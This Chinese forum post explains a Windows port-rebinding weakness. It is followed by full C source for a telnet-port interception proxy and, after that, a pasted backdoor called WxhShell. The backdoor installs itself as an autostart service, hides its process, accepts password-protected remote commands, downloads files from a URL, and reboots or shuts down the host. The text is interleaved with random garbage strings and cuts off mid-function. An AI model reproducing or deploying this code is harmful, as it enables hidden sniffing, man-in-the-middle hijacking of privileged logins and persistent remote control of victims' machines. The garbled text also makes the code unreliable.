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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :XS"# ^aJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p.Y$A if.  
rSyaZ6#  
  saddr.sin_family = AF_INET; 0j@IxEPs  
9~Xg#{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fk$@Yy+}e  
Y ><(?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X <xqT  
(!n-Age  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h)o]TV  
u2lmwE  
  这意味着什么?意味着可以进行如下的攻击: 37>MJ  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,OB&nN t>  
Nmf#`+7gCI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) . bG{T|  
%FS;>;i?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l<RfRqjw  
\Da~p9 T&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SJ(9rhB5*.  
{HuLuP 0t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @,vv\M0)p  
OK\]*r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M(S{1|,V  
 y h-9u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }#YQg0(  
r5)f82pQ  
  #include A_Gp&acs$  
  #include =g2\CIlVU6  
  #include )dg UmN  
  #include    0*{p Oe/u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ):E'`ZP!F  
  int main() WguV{#=H  
  { 6DZ2pT:  
  WORD wVersionRequested; a}D&$yz2  
  DWORD ret; X,53c$  
  WSADATA wsaData; t^$Div_%G  
  BOOL val; Ph\F'xROe  
  SOCKADDR_IN saddr; DZAH"sb  
  SOCKADDR_IN scaddr; \[E-:  
  int err; v<fWc971  
  SOCKET s; 2V<# Y  
  SOCKET sc; ST4(|K  
  int caddsize; Vx(;|/:  
  HANDLE mt; !L$oAqW  
  DWORD tid;   =0Y'f](2eW  
  wVersionRequested = MAKEWORD( 2, 2 ); *<3iEeO/R  
  err = WSAStartup( wVersionRequested, &wsaData ); EEg O  
  if ( err != 0 ) { 9oD#t~+F4  
  printf("error!WSAStartup failed!\n"); #ZwY?T x  
  return -1; (QhAGk&lu  
  } ]eL~L_[G\  
  saddr.sin_family = AF_INET; }'_:XKLj  
   -(  ER4#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h=mv9=x  
% NwoU%q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ug `   
  saddr.sin_port = htons(23); %J3lK]bv(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A3!2"}L  
  { $YR{f[+L w  
  printf("error!socket failed!\n"); oG9SO^v_  
  return -1; D2-O7e  
  } <v-92?  
  val = TRUE; "lb\c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .?7So3   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2X +7b M  
  { $pJ3xp&  
  printf("error!setsockopt failed!\n"); {B v`i8e  
  return -1; kjfxjAS=m  
  } 3~8AcX@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ri;r7Y9V9`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '4Y*-!9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |W/Hi^YE2  
n7'<3t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oPE.gn_$  
  { \!6t  
  ret=GetLastError(); N}1-2  
  printf("error!bind failed!\n"); .y(@Y6hO  
  return -1; ^W{eO@  
  } Is~yVB02  
  listen(s,2); f(W,m >.;  
  while(1) &<OMGGQ[h  
  { Kjvs@~6t  
  caddsize = sizeof(scaddr); @u7%B}q7:  
  //接受连接请求 vV2o[\o^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %hrsE5k^,  
  if(sc!=INVALID_SOCKET) |HT)/UZ|  
  { |c BHBd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zj5NWzj X  
  if(mt==NULL) ug>]U ~0  
  { E ,Dlaq  
  printf("Thread Creat Failed!\n"); (rMTW+,  
  break; R7y-#?  
  } `jt(DKB+J  
  } zh?xIpY  
  CloseHandle(mt); NdaM9a#TZ  
  } m}sh I8S  
  closesocket(s); jR }*bIzv  
  WSACleanup(); _qdWQFuM  
  return 0; )Ep@$Gv|S  
  }   -1dIZy  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0!)U *+j,  
  { -U&098}<K  
  SOCKET ss = (SOCKET)lpParam; vHoT@E#}'  
  SOCKET sc; !k ;[^>  
  unsigned char buf[4096]; ',<{X (#(  
  SOCKADDR_IN saddr; %,h!: Ec^c  
  long num; ~p0 e=u  
  DWORD val; XP3QBq  
  DWORD ret; "4k"U1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oTZo[T@zRx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GWVEIZ  
  saddr.sin_family = AF_INET; qsQ]M^@>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !;6W!%t.|  
  saddr.sin_port = htons(23); DWHOS XA4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S;G"L$&\  
  { }"!6Xm  
  printf("error!socket failed!\n"); i@sCMCu6  
  return -1; Z{j!s6Y@{  
  } Iht mD@H}  
  val = 100; 4"`=huQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GA}hp%  
  { kjQIagw  
  ret = GetLastError(); /6?tgr  
  return -1; eU<]h>2  
  } w/)e2CH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;w>Q{z  
  { KI^q 5D ?  
  ret = GetLastError(); @*AYm-k  
  return -1; B`t)rBy  
  } 0EF,uRb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~M|NzK_9  
  { `K@5_db\  
  printf("error!socket connect failed!\n"); >c~9wv  
  closesocket(sc); ~{kA) :  
  closesocket(ss); Uj y6vgU;  
  return -1; F=P+;%.  
  } [0( E>vm  
  while(1) %`8KG(F^  
  { AiR%MD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c=uBT K*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Zi15wE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1D#T+t`[  
  num = recv(ss,buf,4096,0); 2\kC_o97  
  if(num>0) VhJyWH%(  
  send(sc,buf,num,0); 6Vu}k K)  
  else if(num==0) hv_pb#1Ks  
  break; g%KGF)+H  
  num = recv(sc,buf,4096,0); 5G dY7t_1  
  if(num>0) t\E-6u  
  send(ss,buf,num,0); Il tg0`  
  else if(num==0) @9 qzn&A  
  break; Q7OnhGA  
  } S:"z<O  
  closesocket(ss); Vb"T],N1m  
  closesocket(sc); o%9Ua9|RR  
  return 0 ; k1@  A'n  
  } wjw<@A9  
l=<F1Lz  
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========================================================== v{\n^|=])  
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下边附上一个代码,,WXhSHELL iLI.e rm  
1GyAQHx,  
========================================================== K%.YNVHHC  
xOX*=Wv  
#include "stdafx.h" (PE8H~d  
d[qEP6B  
#include <stdio.h> Z n"TG/:  
#include <string.h> vi()1LS/!  
#include <windows.h> e{#a{`?Uez  
#include <winsock2.h> %^)JaEUC  
#include <winsvc.h> nOL 25Y:  
#include <urlmon.h> fTi{oY,zTg  
OGD8QD  
#pragma comment (lib, "Ws2_32.lib") Oujlm|  
#pragma comment (lib, "urlmon.lib") f"OA Zji  
hIg, 0B  
#define MAX_USER   100 // 最大客户端连接数 .P0Qs&i  
#define BUF_SOCK   200 // sock buffer #E~WVTO w  
#define KEY_BUFF   255 // 输入 buffer v;NZ"1=_  
bl+@}+A  
#define REBOOT     0   // 重启 GXAk*vS=G  
#define SHUTDOWN   1   // 关机 /^es0$Co.  
,EGD8$RA]  
#define DEF_PORT   5000 // 监听端口 d >wmg*J  
xSMp[j  
#define REG_LEN     16   // 注册表键长度 SBYMDKZ  
#define SVC_LEN     80   // NT服务名长度 WEY97_@  
p7ns(g@9  
// 从dll定义API W@uH!n>k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3Wtv+L7Br  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &>wce 5uV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dp%pbn6w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G \aLg  
y:|Xg0Kp  
// wxhshell配置信息 J,77pf!B  
struct WSCFG { ]oWZ{#r2  
  int ws_port;         // 监听端口 :6Pc m3  
  char ws_passstr[REG_LEN]; // 口令 # |*,zIYo  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qi'WV9ke  
  char ws_regname[REG_LEN]; // 注册表键名 ,VcD vZ7  
  char ws_svcname[REG_LEN]; // 服务名 ^: rNoo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GJl@ag5h]!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +8@`lDnr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &l!{!f4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lXL7q?,9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { ves@p>?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 35]G_\  
{dr&46$p  
}; zL!~,B8C  
(gJ )]/n  
// default Wxhshell configuration .8uwg@yD  
struct WSCFG wscfg={DEF_PORT,  F>oxnhp6  
    "xuhuanlingzhe", t5B|c<Hb\  
    1, l!2Z`D_MD  
    "Wxhshell", U(&nh ?  
    "Wxhshell", '|A5a+[  
            "WxhShell Service", xvz5\s|b  
    "Wrsky Windows CmdShell Service", ; K 6Fe)  
    "Please Input Your Password: ", Z!=Pc$?  
  1, D A)0Y_  
  "http://www.wrsky.com/wxhshell.exe", bCx1g/   
  "Wxhshell.exe" cTIwA:)D  
    }; UC LjR<}  
H* L2gw  
// 消息定义模块 +K?N:w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H6 f; BS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }.|5S+J?[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cPBy(5^  
char *msg_ws_ext="\n\rExit."; >^\>-U|  
char *msg_ws_end="\n\rQuit."; [#*?uu+ jK  
char *msg_ws_boot="\n\rReboot..."; V1fvQ=9  
char *msg_ws_poff="\n\rShutdown..."; ?e|:6a+[f  
char *msg_ws_down="\n\rSave to ";  '?>O  
6Cv2>'{S  
char *msg_ws_err="\n\rErr!"; "qP^uno  
char *msg_ws_ok="\n\rOK!"; P+%)0*W  
0jZ{?  
char ExeFile[MAX_PATH]; E["t Ccg  
int nUser = 0; { )GEgC  
HANDLE handles[MAX_USER]; eYSGxcx  
int OsIsNt; JW.&uV1Z  
6UAxl3-\  
SERVICE_STATUS       serviceStatus; zam0(^=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gl\$jDC9  
E `j5y(44  
// 函数声明 /$.vHt 5nt  
int Install(void); mW(_FS2%,  
int Uninstall(void); ?OYwM?Uf  
int DownloadFile(char *sURL, SOCKET wsh); RDZh>K PG  
int Boot(int flag); a4qpnr]0  
void HideProc(void); sluZ-,zE  
int GetOsVer(void); _(kwD^x6O{  
int Wxhshell(SOCKET wsl); [ *a>{sO[  
void TalkWithClient(void *cs); }br<2?y,  
int CmdShell(SOCKET sock); o/[yA3^  
int StartFromService(void); wj5s5dH  
int StartWxhshell(LPSTR lpCmdLine); T]Td4T!  
qsRfG~Cg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "91At b;hJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W]Y!ZfGnN  
LW 3J$Am  
// 数据结构和表定义 gsq[ 9  
SERVICE_TABLE_ENTRY DispatchTable[] = f(MHU   
{ LOG*K;v3  
{wscfg.ws_svcname, NTServiceMain}, k@)m-K  
{NULL, NULL} }b\q<sNE{  
}; IS*"_o<AR  
JOne&{h]J"  
// 自我安装 hA1hE?c`  
int Install(void) vc{]c }  
{ w,#W&>+&  
  char svExeFile[MAX_PATH]; l'lDzB+.*  
  HKEY key; #_L&  
  strcpy(svExeFile,ExeFile); #cF8)GC  
ao5yW;^y  
// 如果是win9x系统,修改注册表设为自启动 ^V,/4u  
if(!OsIsNt) { E6-(q!"A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N$a-i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Kb[UZ1  
  RegCloseKey(key); $>s@T(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7MJ)p$&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n ~i4yn=  
  RegCloseKey(key); 8jGoU 9  
  return 0; `ip69 IF2*  
    } %f(.OR)6{  
  } |oi49:NXn  
} _p2<7x i   
else { 9 @*>$6  
0bL=l0N$W  
// 如果是NT以上系统,安装为系统服务 UT7lj wT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sW3D ( n  
if (schSCManager!=0) N$\5%  
{ Kf<_A{s  
  SC_HANDLE schService = CreateService >@e%,z  
  ( ;9 n8on\  
  schSCManager, (gC^5&11  
  wscfg.ws_svcname, V+ ~2q=  
  wscfg.ws_svcdisp, MCpK^7]k  
  SERVICE_ALL_ACCESS, $=SYssg7La  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^M5uLm-_s  
  SERVICE_AUTO_START, "8TMAF|i4  
  SERVICE_ERROR_NORMAL, a2_IF,p*?  
  svExeFile, \~j(ui|  
  NULL, ]_xGVwem  
  NULL, 0]0M>vx u  
  NULL, `ViNSr):J  
  NULL, :>ST)Y@]w  
  NULL wTbIS~!gF  
  ); VOOThdR  
  if (schService!=0) *!s?hHv  
  { /[dAgxL  
  CloseServiceHandle(schService); ?+tZP3'  
  CloseServiceHandle(schSCManager); E004"E<E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8_$2aqr  
  strcat(svExeFile,wscfg.ws_svcname); k8>^dZub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rGL{g&_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^S2} 0N f  
  RegCloseKey(key); CnA)>4E*'  
  return 0; emIbGkH  
    } Pg C]@Q%  
  } G"sc;nT  
  CloseServiceHandle(schSCManager); m 4LM10  
} RA67w&  
} > o`RPWs  
@CUDD{1o  
return 1; <"%h1{V  
} %4K#<b"W  
d/QM   
// 自我卸载 iPYlTV  
int Uninstall(void) wf$ JuHPt  
{ L<]P K4  
  HKEY key; e2ZUl` {g  
L KR,CPz  
if(!OsIsNt) { ,R6$SrNcd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZWEzL$VWi  
  RegDeleteValue(key,wscfg.ws_regname); ) hB*Hjh  
  RegCloseKey(key); <L#r6y~H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [6N39G$  
  RegDeleteValue(key,wscfg.ws_regname); *j:5  
  RegCloseKey(key); YL0RQa  
  return 0; x"De 9SB  
  } `sC8ro@Fm  
} lB@K;E@r8  
} 3_/d=ZI\  
else { E zUjt)wF  
?V&a |:N9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nEr, jd~f  
if (schSCManager!=0) K6hN N$F!  
{ +q%goG8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IvH+94[)  
  if (schService!=0) jK1! \j  
  { <N&f >7  
  if(DeleteService(schService)!=0) { DL{a8t1L  
  CloseServiceHandle(schService); F\<i>LWT'  
  CloseServiceHandle(schSCManager); Sp:de,9@  
  return 0; .?:~s8kB  
  } }1 ^.A84a  
  CloseServiceHandle(schService); ~;Kl/Z  
  } IW*.B6Hw8  
  CloseServiceHandle(schSCManager); j pV  
} s yvi/6  
} v 0H#\p  
-3 Hq1  
return 1; Mpx.n]O.  
} xoaQ5u  
 JwcP[w2  
// 从指定url下载文件 !1R  
int DownloadFile(char *sURL, SOCKET wsh) <{uIB;P  
{ YdaJ&  
  HRESULT hr; Vtri"G8 aB  
char seps[]= "/"; !I&Sy]G  
char *token; YgDasKFm'  
char *file; z"`?<A&u  
char myURL[MAX_PATH]; yRDLg c  
char myFILE[MAX_PATH]; VvKH]>*  
`#U6`[[  
strcpy(myURL,sURL); +__Rk1CVh  
  token=strtok(myURL,seps); f#mpd]e+6  
  while(token!=NULL) -XB>&dNl)T  
  { z ZQoY_UI  
    file=token; KQ3 On(d  
  token=strtok(NULL,seps); wS4wED&a  
  } \3/'#  
qsx1:Ny 1  
GetCurrentDirectory(MAX_PATH,myFILE); ktRdf6:~  
strcat(myFILE, "\\");  VVY\W!  
strcat(myFILE, file); +a;j>hh  
  send(wsh,myFILE,strlen(myFILE),0); i|Wn*~yFOO  
send(wsh,"...",3,0); ln7.>.F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fjb[Ev  
  if(hr==S_OK) d-aF-  
return 0; hRu%> =7  
else L_|Y_=r."  
return 1; +/tD$  
GS%Dn^l  
} I'wAgf6W  
eF@E|kK  
// 系统电源模块 fCR;Fk2B  
int Boot(int flag) i`;I"oY4  
{ duCm+4,.  
  HANDLE hToken; l?~h_8&fT  
  TOKEN_PRIVILEGES tkp; 6G],t)<A'-  
:nt%z0_  
  if(OsIsNt) { 3-D!ZS&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \ZB;K~BV&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?~Des"F6)1  
    tkp.PrivilegeCount = 1; - _(!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zO,sq%vQn'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Khl7Ez  
if(flag==REBOOT) { ;z#9>99rH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {JJ`|*H$_  
  return 0; *(rE<  
} ^ 9i^Ci9  
else { Oc>-jhx?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b;{C1aa>}  
  return 0; g@L4G?hLn  
}  Bv3v;^  
  } .IgQn|N  
  else { jQhf)B  
if(flag==REBOOT) { 03PVbDq-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Ao;[j)*!  
  return 0; I~I%z'"RQd  
} F 7=-k/k  
else { 6~s,j({^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iu .{L(m  
  return 0; NKRXY~zHh  
} 7~&Y"&  
} shB(kb{{  
2%I:s6r  
return 1; t9}XO M*  
} f  W )  
?#'qY6 ^  
// win9x进程隐藏模块 WBGYk);  
void HideProc(void) k)J7) L  
{ k1<Py$9"  
c?d#Bj ?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TJ<PT  
  if ( hKernel != NULL ) E$T#o{pai  
  { _rM%N+$&d_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  >Pu*MD;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (bw;zNW  
    FreeLibrary(hKernel); _ :z~P<%s  
  } 7]Egu D4  
U6Qeode  
return; {2nXItso  
} :A$6Y*s\  
^$(|(N[;   
// 获取操作系统版本 BC+HP9<]  
int GetOsVer(void) qhtc?A/0}  
{ I4hr5M3  
  OSVERSIONINFO winfo; jy?^an}#h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n F-FoO98  
  GetVersionEx(&winfo); Z6=!}a%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /H)g<YA  
  return 1; CY:pYke=  
  else Z#Fw 1  
  return 0; /c7j@=0  
} E*%{Nn  
k}/: xN"  
// 客户端句柄模块 !\m.&lk'^  
int Wxhshell(SOCKET wsl) d09GD[5  
{ xqr`T0!&  
  SOCKET wsh; UaBR;v-.B3  
  struct sockaddr_in client; kBT uM"  
  DWORD myID; b7n~z1$  
`XnFc*L 1  
  while(nUser<MAX_USER) Bw$-*FYE  
{ ns3k{l#  
  int nSize=sizeof(client); oTL "]3`'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,uw &)A  
  if(wsh==INVALID_SOCKET) return 1; ka hv1s-  
yDKX,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L=$P  
if(handles[nUser]==0) fkYQ3d,`  
  closesocket(wsh); OV[-m;h|  
else Zwc b5\Q  
  nUser++; ovl@[>OB  
  } yP-Dj ,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I}:/v$btM  
*n47.(a2i  
  return 0; 9. R _=  
} 'fB`e]_  
M_e! s}F  
// 关闭 socket pxN'E;P-  
void CloseIt(SOCKET wsh) P$Dr6;  
{ qHj4`&  
closesocket(wsh); c*h5lM'n6  
nUser--; ,kP{3.#Q  
ExitThread(0); ^\!^#rO  
} RHxd6Gs"  
1~*_H_Q't  
// 客户端请求句柄 r}991O<  
void TalkWithClient(void *cs) sqy5rug  
{ %6n;B|!  
pp:+SoyN  
  SOCKET wsh=(SOCKET)cs; L+u_153  
  char pwd[SVC_LEN]; >8VJ!Kg4  
  char cmd[KEY_BUFF]; q"Xls(  
char chr[1]; P)H%dJ ^l  
int i,j; TQ BL!w  
Pa.!:N-  
  while (nUser < MAX_USER) { ^'h~#7s  
>3ODqRu  
if(wscfg.ws_passstr) { >hXUq9;:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N&n{R8=^"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ILQg@J l  
  //ZeroMemory(pwd,KEY_BUFF); ":Q70*xSm  
      i=0; us]ah~U6A  
  while(i<SVC_LEN) { xj}N;FWo  
aCMcu\rd  
  // 设置超时 $lv  g.u  
  fd_set FdRead; X2{3I\'Ft  
  struct timeval TimeOut; Q=dR[t>^  
  FD_ZERO(&FdRead); DJbj@ 2W[  
  FD_SET(wsh,&FdRead); (/)JnBy0  
  TimeOut.tv_sec=8; ! 87ebo  
  TimeOut.tv_usec=0; cz0tnF*&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >#'6jm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b/ynCf8X  
UKzmRa,s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &@RU}DnvM&  
  pwd=chr[0]; # WxH  
  if(chr[0]==0xd || chr[0]==0xa) { c(~M<nL0  
  pwd=0; ~(^[TuJC  
  break; Ro1l:P)C`  
  } [)a,rrhj  
  i++; GY!&H"%  
    } _x lgsa  
`w q\K8v  
  // 如果是非法用户,关闭 socket 7W>T= @  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Op|Be  
} BG|Kw)z*KM  
\/5 8#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :S%|^Q AN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \&cVcA g  
1 4|S^UM$  
while(1) { ZHZ>YSqCS  
)JjfPb64  
  ZeroMemory(cmd,KEY_BUFF); z`BRz&  
Fb_~{q  
      // 自动支持客户端 telnet标准   isaT0__8  
  j=0; :ortyCB:H  
  while(j<KEY_BUFF) { 2Zl65  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !~RD>N&n  
  cmd[j]=chr[0]; bi_R.sfK&  
  if(chr[0]==0xa || chr[0]==0xd) { J/mLB7^R  
  cmd[j]=0; IXH;QwR:  
  break; :O{:;X)  
  } )~Q$ tM`  
  j++; s^AYPmR6  
    } gK PV*  
n"Ev25%  
  // 下载文件 ?6[>HX;  
  if(strstr(cmd,"http://")) { s2tEyR+gW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8g$ 8]'M^T  
  if(DownloadFile(cmd,wsh)) V9MA)If>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <uAqb Wu  
  else i#C?&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6=zme6D  
  } IX3r$}4  
  else { gU 8'7H2  
&r_:n t  
    switch(cmd[0]) { is6JS^Q  
  ZJx:?*0a  
  // 帮助 Q8P;AN_JS  
  case '?': { !?KY;3L:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x|Q6[Y  
    break; Y!SD^Ie7!  
  } Pukq{/27  
  // 安装 Hj5b.fB  
  case 'i': { 5Po.&eS  
    if(Install()) ZGS=;jM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \zKVgywR  
    else s*S@} l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Q#F&q0  
    break; \^_F>M  
    } 2\7]EW  
  // 卸载 Gjzhgz--  
  case 'r': { j\W+wnAgk  
    if(Uninstall()) L-MpdC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |#S!qnXB  
    else f+)F-3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;z&p(e  
    break; 6#.R'O  
    } a ZfX |  
  // 显示 wxhshell 所在路径 =EIsqk^*  
  case 'p': { OnD+/I  
    char svExeFile[MAX_PATH]; ;ymUMQ%;/  
    strcpy(svExeFile,"\n\r"); h'N,oDB)  
      strcat(svExeFile,ExeFile); n9)/(=)>*  
        send(wsh,svExeFile,strlen(svExeFile),0); haY.rH]z  
    break; 4YdmG.CU  
    } /423!g0Q  
  // 重启 :CV&WP  
  case 'b': { aZmSCi:&'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Qn%p[#n  
    if(Boot(REBOOT)) ;Yi ;2ttW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(ZQD+U(9F  
    else { bd%/dr  
    closesocket(wsh); z/;NoQ-  
    ExitThread(0); M T{^=F ]  
    } ptUnV3h  
    break; W/+|dN{O+g  
    } NjMo"1d  
  // 关机 7^:s/xHO*  
  case 'd': { 9g>ay-W[(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0C0iAp  
